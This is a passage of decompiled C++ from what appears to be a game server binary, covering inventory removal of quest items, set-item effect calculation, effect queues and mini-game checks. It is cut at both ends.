v11 ) { v12 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v11 + 8)); if ( v12 ) { v13 = v12->dataserv; if ( v13->KQItem ) { if ( !*((_BYTE *)fo + 54) || v13->KQ_Item_Drop ) { inv.Inven ^= (inv.Inven ^ *((_WORD *)uii + 4)) & 0x3FF; v14 = v10[10] & 0x7F; *(_DWORD *)&v10[8 * v14 + 25] = *(_DWORD *)v11; *(_DWORD *)&v10[8 * v14 + 29] = *(_DWORD *)(v11 + 4); v10[10] ^= (v10[10] ^ (v10[10] + 1)) & 0x7F; if ( v6 == 8 ) { v15 = (*(int (__thiscall **)(void *))(*(_DWORD *)v2 + 2004))(v2); v16 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(int, _DWORD, int, int))(*(_DWORD *)v15 + 76))( v15, *(_WORD *)(v16 + 4), inv.Inven & 0x3FF, v11); } v17 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(char *, _DWORD, int, ITEM_INVEN *, ITEM_INVEN *))(*((_DWORD *)v2 + 14470) + 48))( (char *)v2 + 57880, *(_WORD *)(v17 + 4), v11, &inv, &inv); if ( invenType == 8 ) { v18 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v2 + 2004))(v2); (*(void (__thiscall **)(char *, _DWORD, int, int, signed int, _DWORD))(*((_DWORD *)v2 + 14470) + 72))( (char *)v2 + 57880, *(_WORD *)(v18 + 4), inv.Inven & 0x3FF, v11, -1, 0); } } } } } if ( !InventoryLocking::UnlockedInventoryIterator::uii_Next((InventoryLocking::UnlockedInventoryIterator *)&uii) ) break; v6 = invenType; } v19 = v10[10] & 0x7F; if ( v10[10] & 0x7F ) { v20 = 8 * v19 + 25; v21 = ProtocolPacket::pp_SetPacketLen(&gpp, 8 * v19 + 25); if ( !AssertClass::operator__( &shineassert, (unsigned __int8)v21, (const char *)&stru_63450C.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask, v20) ) { v22 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v22); } ++*((_WORD *)v2 + 28942); } v3 = -1; } ibii = (int)&ItemBoxIterator::_vftable_; v23 = "ShineObjectClass::ShinePlayer::sp_RemoveKQItem"; goto LABEL_29; } v23 = "ShineObjectClass::ShinePlayer::sp_RemoveKQItem"; LABEL_29: --funcallanalizer.fca_stackpoint; v33 = v3; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v23); } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); //----- (004F5440) -------------------------------------------------------- void __thiscall ChargedItemEffectDataBox::cideb_Home(ChargedItemEffectDataBox *this, ChargedItemEffectFinger *finger) { finger->cief_Finger = -1; } //----- (004F5450) -------------------------------------------------------- char __thiscall SkillDataBox::sdb_Next(SkillDataBox *this, int *sub) { int v2; // edx@1 v2 = *sub + 1; *sub = v2; return v2 < (signed int)this->sdb_MaxValid; } //----- (004F5470) -------------------------------------------------------- SkillDataBox::SkillDataIndex *__thiscall SkillDataBox::sdb_Get(SkillDataBox *this, int *sub) { return &this->sdb_ValidArray[*sub]; } //----- (004F5490) -------------------------------------------------------- unsigned int __thiscall SetItemData::SkillEffect::operator__(SetItemData::SkillEffect *this, SetIndex index) { unsigned int result; // eax@2 if ( (signed int)index >= 17 ) result = 1000; else result = this->se_Argument[index]; return result; } //----- (004F54B0) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_Clear(SetItemData::SetItemAbstateEffect *this) { unsigned int v1; // eax@1 v1 = 0; do { this->siae_Buffer[v1].eb_Index = 0; this->siae_Buffer[v1++].Argument_Base1000 = 1000; } while ( v1 < 4 ); } //----- (004F54E0) -------------------------------------------------------- unsigned __int16 __thiscall SetItemData::SetItemAbstateEffect::siae_GetArgument_Base1000(SetItemData::SetItemAbstateEffect *this, SetIndex idx) { unsigned int v2; // edx@1 int v3; // eax@2 v2 = 0; while ( 1 ) { LOWORD(v3) = this->siae_Buffer[v2].eb_Index; v3 = (unsigned __int16)v3 < 0x11u ? (unsigned __int16)v3 : 17; if ( v3 == idx ) break; ++v2; if ( v2 >= 4 ) return 1000; } return this->siae_Buffer[v2].Argument_Base1000; } //----- (004F5520) -------------------------------------------------------- unsigned __int16 __thiscall SetItemData::SetItemAbstateEffect::siae_GetArgument_Base1000ByEffect(SetItemData::SetItemAbstateEffect *this, SkillEffectIncreaseType eEffect) { unsigned int v2; // edx@1 unsigned __int16 v3; // ax@2 signed int v4; // eax@3 v2 = 0; while ( 1 ) { v3 = this->siae_Buffer[v2].eb_Index; if ( v3 >= 0x3E8u ) { LOWORD(v4) = v3 - 1000; v4 = (unsigned __int16)v4 < 0xFu ? (unsigned __int16)v4 : 15; } else { v4 = 15; } if ( v4 == eEffect ) break; ++v2; if ( v2 >= 4 ) return 1000; } return this->siae_Buffer[v2].Argument_Base1000; } //----- (004F5580) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore(SetItemData::SetItemAbstateEffect *this, SetIndex idx) { unsigned int v2; // ebx@2 int v3; // edx@3 unsigned __int16 v4; // ax@4 signed int v5; // esi@4 if ( (signed int)idx < 17 ) { v2 = setitemskilleffect.se_Argument[idx]; if ( v2 != 1000 ) { v3 = 0; do { v4 = this->siae_Buffer[v3].eb_Index; v5 = 17; if ( v4 < 0x11u ) v5 = v4; if ( v5 == idx || v4 < 0x11u && !v4 ) break; ++v3; } while ( (unsigned int)v3 < 4 ); if ( (unsigned int)v3 < 4 ) { this->siae_Buffer[v3].eb_Index = idx; this->siae_Buffer[v3].Argument_Base1000 = v2; } else { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore : Too many effect", v3); } } } } //----- (004F5600) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectAndValue(SetItemData::SetItemAbstateEffect *this, SkillEffectIncreaseType eEffect, int nvalue) { int v3; // edx@1 unsigned __int16 v4; // ax@2 signed int v5; // eax@3 v3 = 0; do { v4 = this->siae_Buffer[v3].eb_Index; if ( v4 >= 0x3E8u ) { LOWORD(v5) = v4 - 1000; if ( (unsigned __int16)v5 < 0xFu ) v5 = (unsigned __int16)v5; else v5 = 15; } else { v5 = 15; } if ( v5 == eEffect ) break; if ( !this->siae_Buffer[v3].eb_Index ) break; ++v3; } while ( (unsigned int)v3 < 4 ); if ( (unsigned int)v3 < 4 ) { this->siae_Buffer[v3].eb_Index = eEffect + 1000; this->siae_Buffer[v3].Argument_Base1000 = nvalue; } else { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemAbstateEffect::siae_SetItemEffectAndValue : Too many effect", v3); } } //----- (004F5690) -------------------------------------------------------- void __thiscall SetItemData::EffectDescription::EffectDescription(SetItemData::EffectDescription *this) { *(_QWORD *)&this->index.n8_name[24] = 0i64; *(_QWORD *)&this->index.n8_name[16] = 0i64; *(_QWORD *)&this->index.n8_name[8] = 0i64; *(_QWORD *)&this->index.n8_name[0] = 0i64; this->skilllist = 0; this->skillnumber = 0; } //----- (004F56C0) -------------------------------------------------------- void __thiscall SetItemData::EffectDescription::_EffectDescription(SetItemData::EffectDescription *this) { if ( this->skilllist ) operator delete__(this->skilllist); } //----- (004F56D0) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::SetItemEffectList(SetItemData::SetItemEffectList *this) { _eh_vector_constructor_iterator_( this, 0x30u, 1024, (void (__thiscall *)(void *))SetItemData::EffectDescription::EffectDescription, (void (__thiscall *)(void *))SetItemData::EffectDescription::_EffectDescription); } //----- (004F56F0) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::_SetItemEffectList(SetItemData::SetItemEffectList *this) { _eh_vector_destructor_iterator_( this, 0x30u, 1024, (void (__thiscall *)(void *))SetItemData::EffectDescription::_EffectDescription); } //----- (004F5710) -------------------------------------------------------- void __thiscall SetItemData::EffectByPiece::EffectByPiece(SetItemData::EffectByPiece *this) { *(_QWORD *)&this->ebp_Index.n8_name[24] = 0i64; *(_QWORD *)&this->ebp_Index.n8_name[16] = 0i64; *(_QWORD *)&this->ebp_Index.n8_name[8] = 0i64; *(_QWORD *)&this->ebp_Index.n8_name[0] = 0i64; *(_DWORD *)this->ebp_EffectArray[0] = -1; *(_DWORD *)&this->ebp_EffectArray[0][2] = -1; *(_DWORD *)this->ebp_EffectArray[1] = -1; *(_DWORD *)&this->ebp_EffectArray[1][2] = -1; *(_DWORD *)this->ebp_EffectArray[2] = -1; *(_DWORD *)&this->ebp_EffectArray[2][2] = -1; *(_DWORD *)this->ebp_EffectArray[3] = -1; *(_DWORD *)&this->ebp_EffectArray[3][2] = -1; *(_DWORD *)this->ebp_EffectArray[4] = -1; *(_DWORD *)&this->ebp_EffectArray[4][2] = -1; *(_DWORD *)this->ebp_EffectArray[5] = -1; *(_DWORD *)&this->ebp_EffectArray[5][2] = -1; } //----- (004F5760) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::SetItemClassifier(SetItemData::SetItemClassifier *this) { _eh_vector_constructor_iterator_( this, 0x50u, 256, (void (__thiscall *)(void *))SetItemData::EffectByPiece::EffectByPiece, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004F5780) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::_SetItemClassifier(SetItemData::SetItemClassifier *this) { _eh_vector_destructor_iterator_( this, 0x50u, 256, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004F57A0) -------------------------------------------------------- __int16 __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkill(int this) { return *(_WORD *)(this + 143282); } //----- (004F57B0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_SetEffectForJustSkillClear(int this) { *(_WORD *)(this + 143282) = -1; } //----- (004F57C0) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_SetItemEffectRestore(SetItemData::SetItemAbstateEffect *this) { int v1; // [sp+4h] [bp+4h]@0 this->siae_Buffer[0].eb_Index = *(_WORD *)(v1 + 20); this->siae_Buffer[0].Argument_Base1000 = *(_WORD *)(v1 + 22); this->siae_Buffer[1].eb_Index = *(_WORD *)(v1 + 24); this->siae_Buffer[1].Argument_Base1000 = *(_WORD *)(v1 + 26); this->siae_Buffer[2].eb_Index = *(_WORD *)(v1 + 28); this->siae_Buffer[2].Argument_Base1000 = *(_WORD *)(v1 + 30); this->siae_Buffer[3].eb_Index = *(_WORD *)(v1 + 32); this->siae_Buffer[3].Argument_Base1000 = *(_WORD *)(v1 + 34); } // 4F57C0: inconsistent function type and number of purged bytes //----- (004F5810) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_FillSetItemEffect(SetItemData::SetItemAbstateEffect *this) { int v1; // [sp+4h] [bp+4h]@0 *(_WORD *)(v1 + 20) = this->siae_Buffer[0].eb_Index; *(_WORD *)(v1 + 22) = this->siae_Buffer[0].Argument_Base1000; *(_WORD *)(v1 + 24) = this->siae_Buffer[1].eb_Index; *(_WORD *)(v1 + 26) = this->siae_Buffer[1].Argument_Base1000; *(_WORD *)(v1 + 28) = this->siae_Buffer[2].eb_Index; *(_WORD *)(v1 + 30) = this->siae_Buffer[2].Argument_Base1000; *(_WORD *)(v1 + 32) = this->siae_Buffer[3].eb_Index; *(_WORD *)(v1 + 34) = this->siae_Buffer[3].Argument_Base1000; } // 4F5810: inconsistent function type and number of purged bytes //----- (004F5860) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::SetItemAbstateEffect(SetItemData::SetItemAbstateEffect *this) { unsigned int v1; // edx@1 v1 = 0; do { this->siae_Buffer[v1].eb_Index = 0; this->siae_Buffer[v1++].Argument_Base1000 = 1000; } while ( v1 < 4 ); } //----- (004F5890) -------------------------------------------------------- void __thiscall SetItemData::SetItemClassifier::sic_SetItemDefine(SetItemData::SetItemClassifier *this, SetItemData::PlayerSetEffect *seteffect) { SetItemData::SetItemClassifier *v2; // edi@1 SetItemData::PlayerSetEffect *v3; // esi@1 signed int v4; // ebx@2 signed int v5; // eax@4 int v6; // edi@4 int v7; // ecx@6 bool v8; // zf@11 int v9; // [sp+10h] [bp-20h]@1 signed int v10; // [sp+14h] [bp-1Ch]@1 SetItemData::SetItemClassifier *v11; // [sp+18h] [bp-18h]@1 int seteffecta; // [sp+34h] [bp+4h]@1 v2 = this; v11 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SetItemData::SetItemClassifier::sic_SetItemDefine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SetItemClassifier::sic_SetItemDefine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = seteffect; seteffect->effectnumber = 0; *(_DWORD *)&seteffect->effectarray[0] = -1; *(_DWORD *)&seteffect->effectarray[2] = -1; *(_DWORD *)&seteffect->effectarray[4] = -1; *(_DWORD *)&seteffect->effectarray[6] = -1; *(_DWORD *)&seteffect->effectarray[8] = -1; seteffecta = 0; v9 = (int)v2->sic_ItemSetPiece; v10 = 256; do { v4 = 1; do { if ( v4 <= *(_BYTE *)v9 ) { v5 = 0; v6 = (int)v11->sic_SetItemStruct[0].ebp_EffectArray[v4 + seteffecta]; while ( *(_WORD *)v6 != -1 ) { v7 = v3->effectnumber; if ( v3->effectnumber >= 0xAu ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemClassifier::sic_SetItemDefine : Too many Effect", v7); break; } v3->effectarray[v7] = *(_WORD *)v6; ++v5; v6 += 2; ++v3->effectnumber; if ( v5 >= 4 ) break; } } ++v4; } while ( v4 < 6 ); v8 = v10 == 1; seteffecta += 10; ++v9; --v10; } while ( !v8 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SetItemData::SetItemClassifier::sic_SetItemDefine"); } //----- (004F59F0) -------------------------------------------------------- void __thiscall SetItemData::SetItemEffectList::siel_AppendEffect(SetItemData::SetItemEffectList *this, unsigned __int16 effect, unsigned __int16 skillid) { SetItemData::SetItemEffectList *v3; // esi@1 unsigned __int16 v4; // ax@1 bool v5; // zf@1 int v6; // edx@3 const void *v7; // eax@3 int v8; // esi@3 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SetItemData::SetItemEffectList::siel_AppendEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SetItemEffectList::siel_AppendEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = effect; v5 = effect >= 0x400u; *(_DWORD *)&effect = effect < 0x400u; if ( v5 ) { AssertClass::ac_AssertFail( &shineassert, "SetItemData::SetItemEffectList::siel_AppendEffect : EffectHandle wrong", v4); } else { v6 = 48 * v4; v7 = v3->siel_SetItemEffectList[v4].skilllist; v8 = (int)((char *)v3 + v6); *(_DWORD *)&effect = skillid; if ( !v7 || bsearch(&effect, v7, *(_DWORD *)(v8 + 44), 2u, MobAttackSequence::AttackElement4Mob::ae4m_Compare) != 0 ) { setitemskilleffect.se_Argument[*(_DWORD *)(v8 + 32)] += *(_DWORD *)(v8 + 36); setitemskilleffect.se_Argument[*(_DWORD *)(v8 + 32)] -= 1000; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SetItemData::SetItemEffectList::siel_AppendEffect"); } //----- (004F5B10) -------------------------------------------------------- void __thiscall SetItemData::SkillEffect::se_Clear(SetItemData::SkillEffect *this) { SetItemData::SkillEffect *v1; // esi@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SetItemData::SkillEffect::se_Clear"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SkillEffect::se_Clear"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1->se_Argument[0] = 1000; v1->se_Argument[1] = 1000; v1->se_Argument[2] = 1000; v1->se_Argument[3] = 1000; v1->se_Argument[4] = 1000; v1->se_Argument[5] = 1000; v1->se_Argument[6] = 1000; v1->se_Argument[7] = 1000; v1->se_Argument[8] = 1000; v1->se_Argument[9] = 1000; v1->se_Argument[10] = 1000; v1->se_Argument[11] = 1000; v1->se_Argument[12] = 1000; v1->se_Argument[13] = 1000; v1->se_Argument[14] = 1000; v1->se_Argument[15] = 1000; v1->se_Argument[16] = 1000; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "SetItemData::SkillEffect::se_Clear"); } //----- (004F5BA0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // ebx@1 unsigned int v2; // edi@1 int v3; // esi@1 unsigned int v4; // eax@1 int v5; // ebp@3 SetIndex v6; // [sp-4h] [bp-24h]@5 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; v3 = (int)&v1->aeo_SetItemEffect; v4 = 0; do { *(_WORD *)(v3 + 4 * v4) = 0; *(_WORD *)(v3 + 4 * v4++ + 2) = 1000; } while ( v4 < 4 ); v5 = *((_DWORD *)&unk_6B848C + 3 * v1->aeo_Index); do { switch ( *(_DWORD *)(v2 + 36 * v1->aeo_Strength + v5 + 12) ) { case 0x1B: case 0x1C: case 0x34: case 0x35: case 0x52: case 0x53: case 0x5D: case 0x5E: v6 = 2; goto LABEL_12; case 1: case 2: case 0x48: case 0x49: v6 = 3; goto LABEL_12; case 0x11: case 0x50: v6 = 8; goto LABEL_12; case 0x30: case 0x31: case 0x5B: case 0x5C: v6 = 11; goto LABEL_12; case 0x2A: case 0x57: v6 = 10; goto LABEL_12; case 0x17: case 0x51: v6 = 1; goto LABEL_12; case 0x1D: case 0x1E: case 0x1F: case 0x20: case 0x54: v6 = 14; LABEL_12: SetItemData::SetItemAbstateEffect::siae_SetItemEffectStore(&v1->aeo_SetItemEffect, v6); break; default: break; } v2 += 8; } while ( v2 < 0x20 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemEffectStore"); } //----- (004F5D20) -------------------------------------------------------- bool __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_SetItemActionEffect(AbnormalStateContainer::AbstateElementInObject *this, SkillEffectIncreaseType EffectType, unsigned int RateValue) { AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemActionEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemActionEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; SetItemData::SetItemAbstateEffect::siae_SetItemEffectAndValue(&v3->aeo_SetItemEffect, EffectType, RateValue); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_SetItemActionEffect"); return 1; } //----- (004F5DD0) -------------------------------------------------------- void __thiscall SetItemData::SetItemAbstateEffect::siae_ParameterRefit(SetItemData::SetItemAbstateEffect *this) { SetItemData::SetItemAbstateEffect *v1; // esi@1 int v2; // esi@1 int v3; // edi@1 signed int v4; // ebx@1 signed int v5; // eax@2 int v6; // eax@6 int v7; // eax@11 int v8; // edx@11 signed int v9; // edx@11 signed int v10; // edi@13 unsigned __int16 v11; // ax@14 unsigned __int16 v12; // ax@15 int v13; // eax@17 unsigned int v14; // eax@21 int v15; // [sp+10h] [bp+4h]@0 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "SetItemData::SetItemAbstateEffect::siae_ParameterRefit"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SetItemData::SetItemAbstateEffect::siae_ParameterRefit"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; v2 = (int)&v1->siae_Buffer[0].Argument_Base1000; ++funcallanalizer.fca_stackpoint; v3 = v2; v4 = 4; do { LOWORD(v5) = *(_WORD *)(v3 - 2); if ( (unsigned __int16)v5 < 0x11u ) v5 = (unsigned __int16)v5; else v5 = 17; switch ( v5 ) { case 2: v6 = *(_DWORD *)(v15 + 2324); *(_DWORD *)(v15 + 2328) += *(_WORD *)v3 - 1000; *(_DWORD *)(v15 + 2324) = *(_WORD *)v3 - 1000 + v6; break; case 3: *(_DWORD *)(v15 + 2332) += *(_WORD *)v3 - 1000; break; case 8: *(_DWORD *)(v15 + 2312) += *(_WORD *)v3 - 1000; break; case 10: *(_DWORD *)(v15 + 2380) += *(_WORD *)v3 - 1000; break; case 11: *(_DWORD *)(v15 + 2336) += *(_WORD *)v3 - 1000; break; case 14: v7 = *(_DWORD *)(v15 + 2252) * *(_WORD *)v3; *(_DWORD *)(v15 + 2252) = v7; *(_DWORD *)(v15 + 2256) *= *(_WORD *)v3; v8 = *(_DWORD *)(v15 + 2256); *(_DWORD *)(v15 + 2252) = ((signed int)((unsigned __int64)(v7 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v7 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); v9 = (signed int)((unsigned __int64)(v8 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6; *(_DWORD *)(v15 + 2256) = v9 + ((unsigned int)v9 >> 31); break; default: break; } v3 += 4; --v4; } while ( v4 ); v10 = 4; do { v11 = *(_WORD *)(v2 - 2); if ( v11 >= 0x3E8u ) { v12 = v11 - 1000; if ( v12 < 0xFu ) { switch ( v12 ) { case 0u: case 0xDu: v13 = *(_DWORD *)(v15 + 2324); *(_DWORD *)(v15 + 2328) += *(_WORD *)v2 - 1000; *(_DWORD *)(v15 + 2324) = *(_WORD *)v2 - 1000 + v13; break; case 4u: *(_DWORD *)(v15 + 2332) += *(_WORD *)v2 - 1000; break; case 6u: *(_DWORD *)(v15 + 2312) += *(_WORD *)v2 - 1000; break; case 0xAu: case 0xEu: *(_DWORD *)(v15 + 2408) += *(_WORD *)v2 - 1000; break; case 8u: v14 = ((signed int)((unsigned __int64)(*(_DWORD *)(v15 + 2252) * *(_WORD *)v2 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(*(_DWORD *)(v15 + 2252) * *(_WORD *)v2 * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); *(_DWORD *)(v15 + 2252) = v14; *(_DWORD *)(v15 + 2256) = ((signed int)((unsigned __int64)((signed int)(v14 * *(_WORD *)v2) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)((signed int)(v14 * *(_WORD *)v2) * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1271][261].pfc_flag + 3)) >> 32) >> 31); break; default: break; } } } v2 += 4; --v10; } while ( v10 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SetItemData::SetItemAbstateEffect::siae_ParameterRefit"); } // 4F5DD0: inconsistent function type and number of purged bytes //----- (004F60D0) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { MemoryQueue *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x48u, 128, (void (__thiscall *)(void *))MoveManager::MoveManager, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->mq_Pointer.mask = 127; v1->mq_Pointer.value = 0; } //----- (004F6110) -------------------------------------------------------- void __thiscall MemoryQueue::_MemoryQueue(MemoryQueue *this) { _eh_vector_destructor_iterator_( this, 0x48u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); } //----- (004F6130) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_SetItemCheck(void *this) { void *v1; // esi@1 ItemInform_ActionItem *v2; // eax@2 unsigned __int16 v3; // ax@3 ItemDataBox::ItemDataBoxIndex *v4; // eax@3 ItemBoxIterItem ibii; // [sp+Ch] [bp-1Ch]@1 int v6; // [sp+24h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SetItemCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_SetItemCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memset(setitemclassifier.sic_ItemSetPiece, 0, sizeof(setitemclassifier.sic_ItemSetPiece)); v6 = 0; ItemBoxIterItem::ItemBoxIterItem(&ibii, (ItemBag *)v1 + 8078, 0); LOBYTE(v6) = 1; ItemBoxIterator::ibi_Home(&ibii.baseclass_0); do { v2 = (ItemInform_ActionItem *)ItemBoxIterator::ibi_Get(&ibii.baseclass_0); if ( !v2 ) break; v3 = ItemInventoryCell::iic_ItemIdent(v2); v4 = ItemDataBox::operator__(&itemdatabox, v3); if ( !v4 ) break; if ( v4->SetItemIndex < setitemclassifier.sic_TotalNumber ) ++setitemclassifier.sic_ItemSetPiece[v4->SetItemIndex]; } while ( ItemBoxIterator::ibi_Next(&ibii.baseclass_0) ); SetItemData::SetItemClassifier::sic_SetItemDefine( &setitemclassifier, (SetItemData::PlayerSetEffect *)((char *)v1 + 143284)); LOBYTE(v6) = 0; ItemBoxIterator::_ItemBoxIterator((ItemBoxIterItemRegNo *)&ibii); --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_SetItemCheck"); } //----- (004F6260) -------------------------------------------------------- void __stdcall ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect(__int16 skillid) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; SetItemData::SkillEffect::se_Clear(&setitemskilleffect); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect"); } //----- (004F6300) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect(void *this, __int16 skillid) { int v2; // ebx@1 signed int v3; // esi@1 unsigned __int16 *v4; // edi@2 __int16 v5; // ax@5 v2 = (int)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = 0; ShineObjectClass::ShineMobileObject::smo_ply_SetItemEffect(skillid); if ( *(_BYTE *)(v2 + 143304) ) { v4 = (unsigned __int16 *)(v2 + 143284); do { SetItemData::SetItemEffectList::siel_AppendEffect(&setitemeffectlist, *v4, skillid); ++v3; ++v4; } while ( v3 < *(_BYTE *)(v2 + 143304) ); } if ( *(_WORD *)(v2 + 143282) == -1 ) { v5 = AxialListNearGateFind::alngf_Gethandle(v2); setitemskilleffectqueue.mq_Pointer.value = setitemskilleffectqueue.mq_Pointer.mask & (setitemskilleffectqueue.mq_Pointer.value + 1); setitemskilleffectqueue.mq_Buffer[setitemskilleffectqueue.mq_Pointer.value].handle = v5; memcpy((void *)(72 * setitemskilleffectqueue.mq_Pointer.value + 319515764), &setitemskilleffect, 0x44u); *(_WORD *)(v2 + 143282) = LOWORD(setitemskilleffectqueue.mq_Pointer.value); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::smo_ply_SetItemEffect"); } //----- (004F6430) -------------------------------------------------------- bool __thiscall ShineObjectClass::ShinePlayer::so_IsJoinThisGame(int this, int nGameType) { bool result; // al@2 if ( *(_DWORD *)(this + 23416) == 1 ) result = nGameType == 1; else result = 0; return result; } //----- (004F6450) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::so_GetMiniGameInfo(int this) { int result; // eax@2 if ( *(_DWORD *)(this + 23416) == 1 ) result = this + 23448; else result = 0; return result; } //----- (004F6470) 